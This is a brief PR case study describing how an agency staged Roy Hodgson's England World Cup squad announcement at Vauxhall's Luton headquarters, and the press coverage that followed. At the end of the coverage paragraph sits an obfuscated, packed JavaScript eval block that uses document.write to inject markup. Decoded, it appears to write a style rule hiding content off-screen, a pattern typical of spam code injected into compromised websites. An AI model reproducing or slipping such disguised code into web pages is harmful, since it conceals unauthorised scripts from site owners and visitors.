Client: Vauxhall

Objective: A creative solution to maximise awareness of Vauxhall’s role as Official England Sponsor and build relationships with key media personnel ahead of the World Cup buildup.

Activity: Macesport arranged for England manager, Roy Hodgson, to announce his selected team for Brazil live from Vauxhall’s Griffin House headquarters in Luton. The event marked the he first time an England Manager has made a major tournament squad announcement at a sponsor-hosted location.

Coverage: More than 80 international, national and regional journalists travelled to Griffin House to cover the squad announcement including live location broadcasts from Sky Sports, BBC and ITV and written pieces in The Independent (READ MORE) and The Guardian (READ MORE). eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(‘|’),0,{}))

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